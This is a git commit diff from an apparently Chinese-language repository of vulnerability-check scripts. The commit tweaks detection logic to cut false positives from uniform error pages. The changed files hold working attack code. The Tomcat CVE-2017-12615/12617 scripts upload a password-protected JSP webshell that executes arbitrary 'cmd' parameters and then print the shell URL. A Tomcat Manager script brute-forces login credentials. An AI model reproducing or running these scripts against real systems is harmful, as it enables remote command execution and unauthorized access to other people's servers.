fix: 解决了部分网站 因统一报错页面 导致的tomcat漏洞误报的问题

This commit is contained in:
rpkr
2019-10-21 18:40:12 +08:00
parent e8780257fc
commit 2865be4d3d
6 changed files with 22 additions and 13 deletions

View File

@@ -1,7 +1,11 @@
# vulnerability-list # vulnerability-list
常见漏洞快速检测,目前包含以下漏洞。 常见漏洞快速检测,目前包含以下漏洞。
已发现的BUG
1. 有些漏洞的判断依据为网页返回信息但部分网站设置了统一的错误页面如统一的404页面因此造成误报。后续针对此类问题通用的解决方式是显示返回页面的大小。
## Tomcat ## Tomcat
- CVE_2017_12615 / CVE_2017_12617 - CVE_2017_12615 / CVE_2017_12617

View File

@@ -17,7 +17,8 @@ def attack(URL):
url = URL + '/T68t8YT86.jsp/' url = URL + '/T68t8YT86.jsp/'
user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
headers={"User-Agent":user_agent} headers={"User-Agent":user_agent}
data="""<% data="""CVE-2017-12615
<%
if("fff".equals(request.getParameter("pwd"))){ if("fff".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1; int a = -1;
@@ -33,7 +34,7 @@ def attack(URL):
requests.put(url, headers=headers, data=data) requests.put(url, headers=headers, data=data)
time.sleep(2) time.sleep(2)
verify_response = requests.get(url[:-1], headers=headers) verify_response = requests.get(url[:-1], headers=headers)
if verify_response.status_code == 200: if verify_response.status_code == 200 and 'CVE-2017-12615' in verify_response.text:
print('存在-Tomcat-CVE-2017-12615!!!') print('存在-Tomcat-CVE-2017-12615!!!')
print('shell: ' + url[:-1]+'?pwd=fff&cmd=whoami') print('shell: ' + url[:-1]+'?pwd=fff&cmd=whoami')
else : else :

View File

@@ -20,7 +20,8 @@ def gen_shell():
def construct_put(url, f): def construct_put(url, f):
#print(url) #print(url)
evil = """<% evil = """CVE-2017-12617
<%
if("fff".equals(request.getParameter("pwd"))){ if("fff".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1; int a = -1;
@@ -55,4 +56,4 @@ def attack(URL):
if __name__ == '__main__': if __name__ == '__main__':
attack() attack()

View File

@@ -38,12 +38,12 @@ def attack(URL):
if verify_response.status_code == 200 or 304 or 401: if verify_response.status_code == 200 or 304 or 401:
try: try:
print('页面返回状态码:'+str(verify_response.status_code)+' '+url) print('页面返回状态码:'+str(verify_response.status_code)+' '+'页面返回大小为:'+str(len(verify_response.text))+' '+url) # 因为部分网站设置了统一的404页面造成误报因此添加返回长度来进行辅助判断
except: except Exception:
pass pass
else : else:
continue continue
except : except Exception:
print("Someerror!") print("Someerror!")
print('[+]检测结束-Tomcat-example_vulnerability。[+]') print('[+]检测结束-Tomcat-example_vulnerability。[+]')
print('\n') print('\n')

View File

@@ -24,10 +24,10 @@ def attack(URL):
headers = {"User-Agent": user_agent,"Authorization":Authorization} headers = {"User-Agent": user_agent,"Authorization":Authorization}
try: try:
r = requests.get(url,headers=headers, verify=False) r = requests.get(url,headers=headers, verify=False)
if r.status_code == 200: if r.status_code == 200 and 'Tomcat Web Application Manager' in r.text:
print('[+]发现弱口令'+Authorization) print('[+]发现弱口令'+ txt)
elif r.status_code == 401: elif r.status_code == 401:
print('账户密码错误:',txt) print('账户密码错误:', txt)
else: else:
print('[-]爆破密码出错。') print('[-]爆破密码出错。')
except: except:

View File

@@ -1,9 +1,12 @@
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
import sys
import requests import requests
import time
from random import * from random import *
import string import string
''' '''
Usage: Usage:
moon.py -u weblogic http://127.0.0.1:7001 moon.py -u weblogic http://127.0.0.1:7001